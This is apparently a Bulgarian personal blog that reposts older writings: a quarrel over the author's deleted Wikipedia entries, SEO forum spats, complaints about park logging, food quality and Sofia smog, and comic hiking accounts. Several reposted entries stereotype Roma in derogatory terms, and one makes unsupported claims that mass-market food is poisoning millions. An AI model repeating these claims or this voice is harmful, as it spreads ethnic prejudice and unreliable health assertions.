“Въпрос ???????? Иван Милев като има три издадени книги, защо и него гоните. На колко от авторите тук книгите им имат значимост. Какво озачава понятието значимост, не е ли малко субективно ???? ТОВА ТУК Е ЕНЦИКОПЕДИЯ, В ЕДНА ЕНЦИКЛОПЕДИЯ СЕ СЪБИРАТ ФАКТИ, СЪБИРАШ ФАКТИ И ОСТАВЯШ ОБЩЕСТВОТО ДА РЕШАВА ЗА ЗНАЧИМОСТА ИМ, ФАКТИТЕ БЕЗ ЗНАЧИМОСТ ПОТЪВАТ В ЗАБРАВА, НО СИ ОСТАВАТ ФАКТИ И ТРЯБВА ДА ГИ ИМА КАТО ФАКТИ, ТОЕСТ В ЕНЦИКОПЕДИЯТА !!!!!!!! а вие идиоти се изживявате като някаква комисия едва ли не за това кой да има паметник в борисовата градина и кой не.”
Цитат от тук:
http://bg.wikipedia.org/wiki/%D0%A3%D0%B8%D0%BA%D0%B8%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F:%D0%A1%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B8_%D0%B7%D0%B0_%D0%B8%D0%B7%D1%82%D1%80%D0%B8%D0%B2%D0%B0%D0%BD%D0%B5/%D0%90%D0%BD%D1%82%D0%BE%D0%BD_%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B0%D0%BD%D0%B4%D1%80%D0%BE%D0%B2
Не е добро модерирането и администрирането в БГ-Уикипедията…
Posted in До някои пристрастни уикипедианци | No Comments »
Отговор до Maymay
Wednesday, June 2nd, 2010
Двете сестри са написали:
“Привет, Master of philosophy. Причината няколко редактори да изтриват именно името на Гесер Курултаев от статията Татари е, че статия за личността вече е била създавана, предлагана за изтриване поради „ниска значимост“ и изтрита след обсъждане - Уикипедия:Страници_за_изтриване/2007/приети/1#Гесер_Курултаев. Критериите за значимост в контекста на Уикипедия може да разгледате подробно изложени в Уикипедия:Значимост (хора). С останалите личности в статията Татари не е имало подобни казуси - с поставяне на обсъждане значимостта и единодушно съгласие, че няма покриване на нужните критерии. Не е имало и проблем с конфликт на интереси. Ето защо редакторите, взели отношение по темата, не са изразили възражения срещу другите имена.
Както надявам се вече разбирате - не става въпрос за никакви двойни стандарти или вандализъм. Ако имате възражения срещу присъствието на някои от другите имена, моля обсъдете това на беседата на статията, като представите своите аргументи „за“ и „против“ според критериите тук. Имайте предвид, че значимостта се определя на базата на Благонадеждни източници - разгледайте, моля внимателно и изискванията към източниците. Гугъл може в определени случаи да се използва като ориентир, но броят резултати в Гугъл не се приема за валиден източник (междупрочем, за Mefküre Mollova излизат немалко резултати, така че по принцип не бива да ограничаваме търсенето само на български :).
Когато дискутирате кои личности според Вас отговарят и кои не отговарят на критериите за значимост, а и изобщо при обсъждане на проблемни теми, е важно да не забравяте, че в Уикипедия няма място за лични нападки. Коментирайте съдържанието, а не редакторите - така можем да избегнем допускането на грешка относно мотивите на другите, както в случая се е получило. И, моля, избягвайте да пишете с главни букви - това не е въпрос на лични предпочитания на редактора, който Ви е обърнал внимание, а елемент от уикиетикета, към който всички уикипедианци се придържаме.
Несъобразяването с правилата, както вече Ви е обърнато внимание, може да доведе до ограничаване привилегията Ви да редактирате, а вероятно бихте могли да допринасяте качествено и удовлетворително по редица теми. Нужно е обаче да отделите време да се запознаете с помощните страници, които посочих по-горе за Ваше улеснение и да продължите да редактирате след като се успокоите и като прилагате презумпцията за добронамереност. Моля, отделете време, наистина. Благодаря. –Maymay 13:56″
МОЯТ ОТГОВОР:
1. Няма значение, че статия за Курултаев е била създавана и трита (някои от аргументите поради която е изтрита е като ДРУГА КЛЕВЕТА срещу мен, че съм “графоман” и пр. Отделно, според правилника “Уикипедия не е демокрация” и нещата не можело да се правят с обикновено гласуване, но явно при статията “Гесер Курултаев” може).
Има значение това, че Rest от самото начало (на което и вие сте свидетели) се захвана с мен. Последната му изцепка беше с КЛЕВЕТНИЧЕСКИЯ МОТИВ (”Самозван философ”). При положение, че сред останалите българо-татари има такива без статии, със статии и пр., но стоят там, докато САМО МЕН ме трие е показателно. Знаете, че преди това беше изтрил и друга моя статия, та си е предубеден. Нямам доказателства далие той или друг, но и в личния си сайт (с айпи от Студентски град) имам нападка, която ме съмнява, че е от него.
Който непредубедено проследи цялостното му отношение към мен, ще види, че не е нормално.
2. В контекста на статия “ТАТАРИ”, подстатия “ТАТАРИТЕ В БЪЛГАРИЯ” се говори за сравнително-известни татари (а не се визира значимостта им). А това, че само философът се трие, докато археоложката, поетесата, скулптурът, художникът, икономистът-политик и тюрколожката не се пипат е показателен за ДВОЕН СТАНДАРТ, аргументиран първоначално с една КЛЕВЕТА (”самозван философ”, макар и да имам магистърска степен от СУ по философия и философска антропология).
3. Няма никакъв конфликт на интереси при споменаване на име+професия+занимание в КОНТЕКСТА на статията и подстатията. Отбелязване на факт, на ФАКТИЧЕСКО СЪСТОЯНИЕ НА НЕЩАТА не е конфликт на интереси.
4. Нямам възражение срещу другите татари (нали аз съм ги добавил; просто прави впечатление, че Rest трие само моите статии, само моето име. Явно е, че има целенасочено отношение към мен от преди, поради научни спорове в някой форум или други причини, които не искам да си губя времето да разгадавам)
5. В статията става дума за СРАВНИТЕЛНО-ИЗВЕСТНИ В БЪЛГАРИЯ татари. В този случай една проста справка с Гугъл е достатъчна за проверка на ИЗВЕСТНОСТ, а не на ЗНАЧИМОСТ (макар, че е спорно аз с моята богата биография, научна степен, способности и пр. дали съм толкова незначим, колкото им се иска на мразещите ме българи и др. български граждани). Ето ви сравнение (с предложения от вас вариант на името на Моллова) и моето, изписани в кавички, за да е сигурно, че намира само нас:
1.”Mefküre Mollova” About 4,440 results
http://www.google.com/search?hl=en&source=hp&q=%22Mefk%C3%BCre+Mollova%22&btnG=Google+Search&aq=f&aqi=&aql=&oq=&gs_rfai=
2.”Гесер Курултаев” About 9,680 results
http://www.google.com/search?hl=en&newwindow=1&q=%22%D0%93%D0%B5%D1%81%D0%B5%D1%80+%D0%9A%D1%83%D1%80%D1%83%D0%BB%D1%82%D0%B0%D0%B5%D0%B2%22&aq=f&aqi=&aql=&oq=&gs_rfai=
Е? Моите са над 2 пъти повече от нейните! Та сред българите и българските граждани (не забравяйте, че става дума за известност) в качеството на татари аз съм по-известен/популярен от нея, макар и тя да е по-значима (според вашите критерии).
6. Щом като няма място за лични нападки защо дори търпите КЛЕВЕТИ и ВАНДАЛИЗЪМ спрямо мен, а и не само там?
Не е ли точно това още една проява на ДВОЙНСТВЕН СТАНДАРТ?
7. Убихте всякакво желание да допринасям и за сетен път се убеждавам, че Уикипедия в този си, български вариант е субективна, пристрастна, неотговаряща на научните стандарти.
8. Презумпциите за добронамереност са валидни до момента в който не се появи злонамереността (клеветническия мотив и избирателното триене, които бяха единодушно подрепени от всички вас, взели отношение там!)
Posted in До някои пристрастни уикипедианци | No Comments »
И два коментара по темата
anubis Says:
October 21st, 2010 at 6:50 pm
Скромните ми наблюдения над пишещите в уикипедия са, че болшинството са младежи на 16-17 годишна възраст, които имат с какво още да се образоват. Те често пъти дори превеждат неграмотно. Какво очаквате от деца? Да държат ниво? Това няма как да се случи. Всъщност тук е и грешката на българската уикипедия. Трябва да забранят достъпа до нейните страници на лица под 18 години. Също така трябва да забранят достъпа до страниците й на лица, за които са решили, че трябва да спят на компютъра, само и само да не допускат никой да им оправя нито правописните, нито останалите грешки от “материала”. Това направи ли се, може и да стигнем чужденстранната уики по качество. Иначе наистина е по-добре да се ползва по възможност чуждоезична уикипедия.
Гесер Курултаев Says:
November 22nd, 2010 at 3:21 am
Ами прав си, Анубис! То затова и част от екипа на Уикипедия се е оттеглил и сега правят алтернативна енциклопедия. Аз също си имам такава - мъничка - Енциклопедия Алтернатива (Кръчмопедия). Това е начинът - да се избягва абсурдността на някои български (а и не само) уикипедианци.
-
Това е от януари 2011. Виждал съм и аз такива неща, гарантирам ви го!
"Масова сеч на дърва в Западен Парк
Падна малко снежец и реших да разходя кучето и крокодила в западен парк. Кучето да види малко сняг и да се порадва, а крокодила ако имам късмет да го изядат вълците… :)
Не останах доволен от разходката. Хубавото е че снега е заринал боклуците и не се виждат, лошото е че не може да скрие и циганията…
Квартал Факултето отдавна е навлязал в зоната на Западен Парк и винаги е било осезаемо присъствието на „братчедите“. Кози, крави, малки и големи сиганета… музиката се чува редовно. Мизерия боклуци и…сеч! Безразборна сеч на дървета за отопление! Няма да мръзнат я!
...
Положението винаги е било зле! Лошото е че не се подобрява, а става все по-зле. нямам надежда да се оправят нещата. Нямам и желание да се боря, предполагам и с вас е така. С годините оптимизма отстъпва място на реализма, а после и на песимизма. Не виждам смисъл дори и да пиша и да го прочетете полза няма. Лошо е, гадно е, а заслужава ли си да се опитваме да го променим? Това е само един от примерите. Как може циганите да изсекат половината дървета в Западен Парк БЕЗНАКАЗАНО? Полицаите не знаят кой ги е отсякъл? Управата на парка не подава ли жалби ? Вижте как са отсечени един метър над земята, бракониерите секат така бързо и лесно за да не се навеждат! Секат млади дръвчета тънки и лесни за пренасяне. Жал ми е за дърветата, но какво мога да направя аз при положение че ДЪРЖАВАТА НИЩО НЕ МОЖЕ /ИЛИ НЕЖЕЛАЕ/ ДА НАПРАВИ? Това е, съжалявам че се налага да четете това."
----
Коментар:
" lilia on 08.01.2011 at 19:22
Неприятна картинка"
-
От лятото на 2009 г. За качеството на храните. Сетих се за него покрай новините, че раковите отделения на Острова били препълнени. Четете.
"5 000 000 натровени от масовите храни?
Това може да е резултатът, след като години наред масово се консумират нискокачествени храни, вредни и незаконно внесени продукти. Ниският контрол над храната, както и желанието на производителите за ниска себестойност на продуктите и висока печалба водят до незакони внос и производство на всякакви храни пълни с вредни химикали и дори отровни вещества забранени отдавна в европа. Всички помним вкуса на колбасите отпреди 10 и повече години когато се сърдехме че намираме перушина в кренвиршите или някой хрущял в салам „Камчия“… Вкусът и качествата на старите колбаси са отдавна изгубени. Изместени са от новите технологии за производство включващи съвсем малък процент истинско месо и наблягане на субпродуктите и химическите съставки. Много скандали с внесени незаконо меса потънаха тихо в забвение, а месото отдавна го изядохме. отровите са в нас и в децата ни. Контролните органи си затварят очите срещи мизертни комисионни, на търговците не им пука за здравето на потребителите. Нима на вас ви харесват саламите които купувате от магазина? Вече дори и високите цени не са показател за качеството на продуктите. Луканки, суджук, шунка, кайма, шпек …. са далеч от вкусовите качества които искаме, далеч са и от съдържанието което очакваме… Но нищо не правим, всяка вечер в магазина напазаруваме поредната чанта отрова и се прибираме доволни вкъщи. И до какво води това? – Вреден и дори убийствен за организма ни живот. В една градска пречиствателна станция, преди няколко години се оплакваха че измрели микробите и водата вече неможе да се пречиства поради рязката промяна в хараната на населението и сътветно промяна в състава на отпадните води.
Зачестилите болести, туморни образования и сърдечни проблеми са силен показател за това което сме направили с организма си. Лошото е че ние сами избираме как да живеем и да се храним но предаваме тези проблеми и на поколението след нас. Преди години напълняването беше много рядко явление в цялото ни училище нямаше и 10 дебели деца. а сега над 40% са с този проблем и не само малкото движение е причина за това ! Главната причина са отровите които ядем. Младите не помнят вкуса на истинският салам, за тях е нормален и вкуса на изкуствените кренвирши, наблъсканите с нитрати зеленчуци, и пълнитес иузкуствени обогатители полуготови храни! Не мислите ли че е време да спрете да сте като коне с капаци и да направите нещо добро за себе си и децата си ? Решете сами – Живота си е ваш!
–––––––––"
Коментар:
" Александров on 24.11.2010 at 10:19
Е, добре де, ама какво предлагаш да направим? Да фотосинтезираме ли, какво??"
-
Ето едно за прогреса от преди години. На английски език:
Our company was established in 2007. For our activities, we trust to proved professionals. At the same time we use the services of highly qualified and eroded consultants and partners in Bulgaria and abroad. Our goal is to provide best quality services and products. Details about our services you can find in the Activities section.
We believe in the technical progress and in the positive development of mankind, but we believe that this is possible only if the historically verified valuables are considered. We are sure that the money and the technical tools are not the goal, but only a means allowing the development; we are also sure, that the machines should work for the people, but not the people - for the machines!
-
В много страни по белия свят има смог. И София в нашата страна не прави изключение в това. Ето едно за смога в София от отминалите години (2011 година):
"Дишай здраво и не мрънкай…
Разходка до Витоша?
Защо не, да убием поредния скучен ден с лека разходка.
Ама нали е неделя и ще е лудница… трябва ни някой по-непосещаван маршрут за да не се настъпваме с туристите. Боянския водопад прозвуча отлично… хем ще си походим хем няма да се налагаме да казваме добър ден на всяка втора крачка. Ей как мразя това планинарско поздравяване… който го е измислил трябва да го пуснат три курса по Витоша в събота и неделя за наказание. Както и да е сняг малко ама изтествахме новите обувки „KEEN“ пускат ли вода или не пускат и пазят ли топло и приятно. Никога не съм харесвал Витоша… това е най-скучната планина в която съм ходил, но нали е наблизко… става да отбием номера. Та покатерихме се, Боянското езеро замръзнало, съжалих че не си нося кънките да врътна няколко пируета или там каквото се върти с приземяване по задник. И продължихме нагоре към водопада. И по едно време като ми се откри една гледка към София и ми стана едно милно и задушевно… Жалко че не носех апарат та се наложи да използвам телефона и качеството на снимката не е добро, но се вижда основното, а то е че… от София не се вижда нищо заради гъст черен смог който я е завил и сгушил като бабино юрганче… непрано от освобождението.
...
Откъде ли е тази гъста и тъмна консистенция? Мъгла нямаше, Кремиковци не работи ? Това всичкото от Топлофикация ли е? или народа е запалил „кюмбетата“. Не знам колко си личи от снимката но от града се виждат само бегли очертания на няколко блока, всичко е като под купол. И това си го дишаме, аз ти, те… всички. И после защо има толкова заболявания, изродявания и всякакви екстри по млади и стари…
Та така, живейте дишайте и се тровете, нямаше смисъл да четете това и без това до утре няма да го помните."
Коментар:
"lilia on 11.01.2011 at 00:58
И аз съм забелязвала тази пелена.Картина …"
-
Продължавам с прехврълняне на мои неща от минали години в predpriemach.com тук (някои ги изтривам там, естествено, ако има възможност, за да не се дублира съдържание, а и да си го имаме само тук):
От тема за "4way link exchange":
"
От: Каква е тая глупост 4way link exchange??
Тоя АланФорт е хейтър. С мене също се заяжда и ме обижда.
Razkazvacha, Feb 8, 2011 "
"
От: Каква е тая глупост 4way link exchange??
Обяснете му как се ползва Гугъл след което му обяснете как се пише 4 way link exchange и да си намери резултати още от 2006 година. Тоя загрява много бавно за нещата.
Razkazvacha, Feb 8, 2011 "
"
От: Каква е тая глупост 4way link exchange??
ХаРРо това е друг въпрос дали има или няма полза. Аз също не правя такива неща и сайтовете, които оптимизирам се движат добре. Линк рингове, линк уийлове, 2, 3, 77 уей са измислици, целящи да налучкат някои от лагоритмите и в много случаи правени от хора, които си нямат хабер от Гугъл-матрицата в математическите й измерения. Да не ти говоря какво каза един, който има приятели, работещи в Гугъл - много от нововъведенията се пазят в строга тайна, за да не се нахвърлят спамерите и да дискредитират резултатите. От време на време изскача някое инфо, че линковете от имейлите се индексират и то пак не е сигурно доколко е валидно.
Razkazvacha, Feb 8, 2011 "
"
От: Каква е тая глупост 4way link exchange??
Ще преведа от български на...български какво имах предвид с изречението, че "не е сигурно доколко е валидно". Нещо да е валидно, означава да е ВЯРНО, да има ИСТИННОСТ в него. Примерът, че Гугъл индексира линкове (в Гмайл, пропуснах да напиша) е пример за СЪМНИТЕЛНА информация. Аз лично съм на мнение, че няма как да разберем дали има или е имало подобно положение, защото криптирането си е криптиране, а следенето на информация си е друго и никой не знае кога, как даден собственик на някаква система би могъл да си индексира нещо си от потребителите на тази система. Моля ви, четете по-внимателно и отговорно какво се пише, преди да си правите изводите. ХИПОТЕЗАТА (предположение, да преведа пак превантивно), че се индексират линковете в Гмайл от Гугъла се върти из англоезичния нет от дълго време. Напишете в Гугъл.ком (Google) indexing gmail links или нещо от сорта и вижте по-подробно нещата. Някои са писани в авторитетни блогове, където според Гангстера ще излезне, че "серат", но аз ще запазя друго мнение. С една дума - НЕ ПОДДЪРЖАМ ТАЗИ ХИПОТЕЗА, но я споменавам като пример за изтичане на информация или за градска легенда. ОСНОВНАТА МИ ТЕЗА е, че Гугъл матрикса е нещо, което не се разбира в дълбочина от много оптимизатори, защото не подхождат математически към проблема. Някои даже не знаят, че освен ПейджРанк има още много алгоритми, някои от които се пазят в тайна. Ако Кулайс ме мисли за трол - спирам да пиша по тази тема.Появих се в този форум и в още няколко, за да се препоръчам като писател на интересна сео-повест. Нямам за цел да тролвам. Всичко е за бизнеса, а то не включва тролене, поне в моите представи. Лека вечер на всички.
Razkazvacha, Feb 8, 2011 "
До един от потребителите на ЛС:
" Razkazvacha
В началото хваща вниманието с малко повече оптимизаторски моменти. След това има леко отсъпление по посока на битовото (еротичното, поведенческото, психологичното, абсурдното и пр.), за да задоволи потребността на тези, които не си падат само по СЕО. След това, когато предстои да се върне пак в селото се набляга отново на СЕО-моментите. Например планувам да попадне в кошара, където някакъв овчар прави линк-ферма. После онази със СЕО-състезанието пък да намери някакъв таен оптимизатор от Бяла Слатина (нали действието се развива там)...Има си достатъчно СЕО и много други изненади, но това ще научи този, който плати. Преди малко пуснах оферта в чужд форум за по половин долар на пасаж. ЗА ТИРЕНЦАТА, АБЗАЦИТЕ И ПР. ПИША ПРЕЗ ПРОКСИ И НЕ СЕ ОТЧИТАТ. Печелил съм литературни конкурси и много добре знам правилата за ПРЯКА и НЕПРЯКА РЕЧ, не го мисли тоя момент, другарче :)
"
* * * * *
От тема за разказа/повестта (недовършено и към днешна дата произведение) "Оптимизаторът" (което може да прочетете прехвърлено и с малки редакции тук: "Оптимизаторът" (http://www.seo-forum-seo-luntan.com/other-languages/aka-ot-ee-ktae/msg31247/#msg31247).):
От: ОПТИМИЗАТОРЪТ
"Момчета ако не ви харесва историята, няма да пиша другите части. И си нямам на идея за кой ме сбъркахте?
Razkazvacha, Feb 8, 2011"
"
От: ОПТИМИЗАТОРЪТ
Добре. На повечето не им харесва повестта. Ще си я пиша в други сайтове, където я харесват. Тоя форум губи...Чао.
Razkazvacha, Feb 8, 2011 "
"
От: ОПТИМИЗАТОРЪТ
Да бе АланФорт. Регни още няколко ника, за да си по-убедителен.
Razkazvacha, Feb 8, 2011 "
"
От: ОПТИМИЗАТОРЪТ
Ще я продам тая повест на хора, които мислят за сайтовете си. По 1 лев на пост. Ако има предложения - казвайте.
Razkazvacha, Feb 8, 2011 "
"От: ОПТИМИЗАТОРЪТ
Всичко е бизнес, Кпано! Който предложи по 1 лев на пост, ще му я напиша тая повест и в 300 страници. Може да стане бест-селър. Малко хора имат дарбата да пишат. "
"
От: ОПТИМИЗАТОРЪТ
Имам душице, но тук просто ви правя показно, та току-виж се намерил платежоспособен клиент. Ако не тука, на друго място ще се намери. Ерудицията и интелектът ми докарват онлайн пари от 4 източника. Ако и с този успея, ще станат 5. А ти се изказваш неподготвена. Няма да се учудя, ако си някое фейкче на местните хейтъри. Така че ти моята ерудиция и интелект не ги мисли, и не ги определяй без никаква база. Мисли си за своите.
Razkazvacha, Feb 8, 2011 "
"
От: ОПТИМИЗАТОРЪТ
Ами да. С акъл на мушица си.
Razkazvacha, Feb 8, 2011 "
"От: ОПТИМИЗАТОРЪТ
Нещо важно за допълване - повестта е писана БУКВАЛНО НА ЕДИН ДЪХ и има някои граматически, стилистични и пунктуационни празнини. Отделно пиша през проксита (въпрос на сигурност), а те не винаги дават възможност да се възпроизвеждат правилно параграфите (абзаците). Държал съм няколко изпита по БЕЛ в няколко ВУЗа и двойка не съм получавал. Пиша това предвид да се знае, че бъдещият клиент ще плати по лев за пост (част) за нещо качествено като съдържание - завалядяваща история с много хумор, еротика, неочаквани ситуации и, с една дума - ЗАВЛАДЯВАЩА СЮЖЕТНА ЛИНИЯ. Плюс това всичко ще е изпипано граматически, стилистично, пунктуационно и пр. При поръчка за над 300 страници - отстъпка от 50 ст. на страница. При над 400 - 40 ст. Това е. "
"
От: ОПТИМИЗАТОРЪТ
Със сигурност знам, че ако някой си поръча това ще имам и 5-ти източник на онлайн приходи, а ти ще лапаш мухите, хейтвайки залудо. Същата оферта я пиша и на други места. Все някъде ще се намерят далновидни хора, които знаят за какво плащат. А ти виж какво значи джадъ на турски, щом си падаш по чуждите езици. Редно е да го знаеш, с цел по-добро самоопределение в чуждоезикова среда.
Razkazvacha, Feb 8, 2011 "
"
От: ОПТИМИЗАТОРЪТ
Жалката си ти, че се намесваш агресивничейки. Разбира се, че ще е завладяваща сюжетната линия, защото ще има от всичко вътре, удовлетворявайки всякакви потребности и вкусове. Да, повече от две е равно на 3, 4, 5, 6. Естествено, че е добро постижение, защото при кандидатстване САМО ЗА ЕДНА ПРОПУСНАТА ЗАПЕТАЙКА се отнемат, например 25 стотни от оценката. Това за хора не положили изпити като твоя милост е непонятно.Съгласен съм, че не е редно да си губиш времето - нито имаш базовата култура да оценяваш литературно творчество, нито си платежоспособен субект, така че. Всичко най-хубаво и попътен вятър!
Razkazvacha, Feb 8, 2011 "
-
За един отминал Великден. Интересна гледна точка. (С малко цензурирани думи, както обикновено.)
"Великден на Витоша (От 2009 г.)
Понеже не сме от най-набожните… А и сиромашки празници като великден не признавам.. Решихме да се разходим до Витоша…
Само първо да обясня защо Великден не е признат празник в моя списък с празници / който между другото е доста кратък/
Та значи трите най-важни: Не ям яйца! Не обичам Козунак! Ненавиждам религиите!
Още от малък си имах проблеми като ми се изредят родата да ми подават мацани яйца и да ми викат христос воскресе а аз им казвах мерси и се обръщах… та имаше някакви караници опити да ме вкарат в правата вяра – как може ама не било хубаво така- А по хубаво ли е да се правиш на набожен и да ЛИЦЕМЕРНИЧИШ ? Защото 90% от обикалящите църквата са точно такива ЛИЦЕМЕРИ !
Тъпи хорица които си казват: „…бе айде за всеки случай да се прекръстя и да пална свещ, че да си осигуря един парцел в рая…“. Да се оправят и без това такива хора не заслужават да им се помага.
Козунака – какво да му обичам – като е просто някакъв хляб със захар ? Мерси предпочитам пържолка.. а яйцата … като знам откъде са излезли и какво представляват, отдавна съм се отказал да ги ям…
Та по тези причини решихме да отнесем към Витоша. За да убием „Празничният“ ден.
Не беше кой знае какво. Оръсиха ни 5 лева за паркинг по десет за лифта и айде горе.
Времето средно л.йняно, ни да завали, ни да напече – сняг поостанал малко по пистите – колкото да се пуснем с наилонови чували за смет /предвидливо донесени от нас/ по 3-4 пъти по корем и по гъз – метнахме си по няколко опикани снежни топки и доволно мокри кални и премръзнали решихме да похапнем преди да се разкараме от опитомената планина. Къде къде .. не че има голям избор – избрахме класическото – Жижа Алеко … да си п.кая на избора…
Взехме си боб с наденичка шкембенце – шопска – снежанка – картофки и едно кебапче – Винаги си вземам по едно кебапче където и да отида – Ако кебапчето е хубаво значи кръчмата става – ако е от Пазарските кебапчета значи 90% манджите им са направени да ги ядат гладни строители и цигани изкарали някой лев от близката заложна къща… Кебапчето беше отвратително/ очакваше се / но интересното беше че струваше 1.50 лева имаше вкуса на кебапче от женския пазар за 45 стотинки, шкембето -помия от 3,50 бих предпочел да ям салата от копър и магданоз /бляххххххххх/ отколкото него шопската – нормално пожълтели меки краставици и домати трохи евтино сирене – не струва ! снежанката по зле и от на „Кенар“ – а това е трудно достижимо споре дмен … пържените картофи ми ги претоплиха на микровълновата … няма смисъл да казвам какъв вкус имаха… а боба… ммммм чудо на готварската наглост и безхаберие … наденица от 2 лева килото пъхната в чирпак суров боб тропкащ и хрупкав … Колкото и да ми се иска не мога да кажа и една добра дума дори и за готвачките приличащи и по мустак и по мазни съмнително бели одежди на бивши работнички в социална кухня… Моя съвет е НЕ СИ КУПУВАЙТЕ ХРАНА ОТ ТАМ ДОРИ и чай
Разбирам да е скъпо защото е курортно място един вид … обаче като е скъпо да е хубаво – Разбирам и обратното да е гадно защото е планина и не трябва да си претенциозен но тогава не трябва да е скъпо … При положение че е гнусно гадно и скъпо – мерси няма да си повторя грешката…
и разбира се тоалетната струваше 30 стотинки .. разбирам също че не искат цяла София да им къка безплатно в тоалетната но поне за клиенти на заведението трябва да е безплатно – една противна гъркиня преди това направи скандал че и искат пари и се върна без да им посети клозетчето… въпреки че беше нагла и противня я разбирам – те са ги предупредили хората – като отидете в бълХартия се пазете да не ви мамят… Та така мокри кални и гладни си хванахме ливта и по обратният ред си се прибрахме поживо поздраво в убитата ни /от дъжд/ столица.
Най-хубавото от целия път беше че на връщане мернахме един голям магазин с надпис JIMBO и половинчасовата ми разходка в него беше най-хубавото нещо за деня :)"
-
За Рила от отминалите години (05.12.2010), без снимка.
"Бърза разходка до Мусала
Отново големия въпрос – Къде ще ходим?
Родопите? – далеко са.
Витоша… бляхххх – не струва.
Гледам Google Maps…
Май пак в Рила ще се ходи. Ок Рила- Рила… ама къде
Ходили сме и на Седемте рилски езера, и на Рилския манастир…
Май е време да изкачим Мусала, за да ми мине мерака че съм ходил на най-високия връх по нашенско:)
Всичко хубаво ама то минало 11:00 та почти няма време… стягаме се набързо и газззззз към Боровец.
Намерихме лифта и хоп на паркинга отпред. Идва там паркинговия бирник и ни зарадва с 10 лева за цял ден. Баххх тоя паркинг, присви ме жлъчката ама си викам майната му и за по големи глупости съм плащал, нема си разваляме разходката заради тоя паркинг. На касата за лифта ги питам разрешено ли е с куче в лифта? Касиерката отвърна че нито е разрешено, нито е забранено, така че да влизам. Айде още 20 лева за два билета и сме в лифта до Ястребец. Казаха ни че най-късно до 18:30 трябва да сме хванали на обратно иначе… Което означава че имаме 5 часа за отиване и връщане, защото иначе ще спим в планината:) и така с бърза и бодра крачка напред към върха. Лелееее колко ходене ималоооо ако знаехме нямаш да тръгнем. Отначало всичко ОК, що годе равен терен малко мъгливо и облачно и гърми… някакви опити за валежи, но ние сме оптимисти. Нищо интересно до първата хижа.
Абе да вметна че поради големия човекопоток и прекалено ниските храсти, не практикувайте природосъобразна тоалетна, а си свършете работата преди тръгване, освен ако не сте отявлени ексцибионисти :)
И после си пролича цялата извратеност на начинанието ни… До първата хижа наистина всичко е приятно, сравнително равен път, свежи сили… все едно си червената щапчица за гъбки в гората… хоп една гъбка тралала… Аз съм чувал че там има някакви вип гъбки… ама пусти късмет никога не съм намира… не че и да намеря ще я позная :) Веднъж на Витоша си набрахме две чанти гъби и доволни си говорихме как половината са за чорбичка, другата половина с оризец, докато не ни чу някакъв дядо гъбаро-планинар и като погледна в чантата ни какви гъби има му се разтрепера планинската тояга… отровни били… всичките… и ги изхвърли гадината… ама мани да е жив и здрав спести ни пари за агенция, свещи и жито…
Та май се отнесох с тези гъбарски истории?
Та такаааа… от тая хижа като се изправила една отвесна планина пред нас… лелеееееее високооооооо стръмноо на зиг-заг се катерим. Хвърчи покрай нас чакъл и камъни подхлъзваме се, ставаме падаме, но не се предаваме… Голямо катерене. Тук езерце, там купчина сняг, там канара нещо… абе скука:) Една камара туристи и явно е обичай копелдаците всички ни викат още малко остава, почти сме били стигнали… Явно е някакъв туристически обичай един вид ни дават сили да продължим. Много мразя тези обичаи особенно този с поздравяването… че аз комшиите не поздравявам, само изръмжавам нещо, а тук с който се разминем те поздравява и те гледа в очите очаквайки отговор… Че чужденците и те се изучили и ми сричат „добър ден“ нахилени глуповато, така както само чужденците могат да се хилят. Да не се отплесвам от разказа, но това е най-глупавото нещо… пъъъърррдон има едно още по-глупаво.. да тикажат не само Здравей, а ЗДРАВЕЙ, КАК СИ… И ДА ЧАКАТ СМИСЛЕН ОТГОВРО… ужасссссссс
Близо било… близо ли, лелееееееее… тъкмо си викам стигнахме и бам втора хижа… лелеееее били сме минали 2/3 от прехода и оставала най-трудната… пък силите ни ги няма и нема щкембеджийница да презаредим… и бира няма… само някаква водичка и то бистра… Аз понеже съм тарикат и обичам студена вода си замразих една бутилка.. за да ми е студена през цялото време… Така си и остана… замръзнала.
И оттам като се почна едно катерене лелееее. аз си мислех че преди това беше извратен баира, но тук вече стана брутално. Една грешна стъпка и си се търкаляш като… ми като турист който е стъпил една крачка накриво :). Ужас стигнахме върха по някакви опънати метални въжета, един вятър едно чудо… Пък и не съм си бил изрязал ноктите това тримесечие, че ми се подбиха и ноктята на надарените палци…
А горе горе едно нищо :) и една метеорологична станция и една плочка с някакъв надпис, забравих вече какво пишеше обаче тая плочка я охраняваше една дебела и грамадна котка… инатеста, злобна и самоотвержена… Кучето ми голямо, но котката смела… пази си територията, съска и посяга с крив нокът… Едвам удържах кучето да не стане търкала… Викам и къш – тя не бяга а съска.. Пруссс псссът – не! то гад- то пази там се вживяло като куче пазач… Абе се присетих – тази котка какво яде там ? има ли луди мишки да се катерят по тоя връх…
Та така качихме се… обаче станало 16:00 викам си край няма да се върнем, ще си замине лифта и ще духаме супата през ноща, ще ни изядат извънземните и гладните туристи… Нямахме време да се радваме на нищото и хукнахме надолу… леле колко лесно било да се слиза от Мусала :) . ЗА двойно по-кратко време стигнахме до лифта.. ни живи ни умрели… Седнахме в лифтчето… и потеглихме… като стана врем да слизаме… ужас мускулите крещят и се дърпат… всичко боли едвам се добрахме до колата. Е постояхме още малко на паркинга, така и так бяхме платили 10 лева за цял ден, поне да избием още малко :) …
Та извода за мен е – никога повече на Мусала! Една комшийка викаше – Хората ви направили улици и тротоари, а вие се врете по храстите! Оттогава и до днес, вече като няма какво да правим, изкачваме елеваторите в моловете… Забавно е, а и на върха винаги те чака Кофа KFC. :)
п.п. Почната е статийката преди месеци… ама нещо ми избяга музата та я бях зарязал наполовина недописана:)
п.п.п. Снимката на котката я измъкнах от Другаря Гугалов, че не ми се ровеше за моите снимки. Ак осе сърди някой че му ползвам снимката да се обади да я махна!"
Коментар:
"lilia on 05.12.2010 at 21:14
Ха ха ха"
Мой коментар: Трябва много да се внимава. Особено с гъбите.
-
Разни за Синеморец от отминалите години. (Ако има цензура, знайте си, че е ще е само за някои по-пиперлии думи, защото така трябва да сме политкоректни.)
От 09.06.2009:
"До морето и обратно Синеморец и Силистар
Да ви п.кая и на КушадасътЪ и на ХалкидикитУ… Ние си имаме Синеморец и околности … който не е ходил -ДА НЕ ХОДИ – И БЕЗ ТОВА ДОСТАТЪЧНО МАНГАЛЪК СЕ Е НАСЪБРАЛ ТАМ – НЯМА НУЖДА И ОТ ВАС – Аз лично само там ще ходя вече …
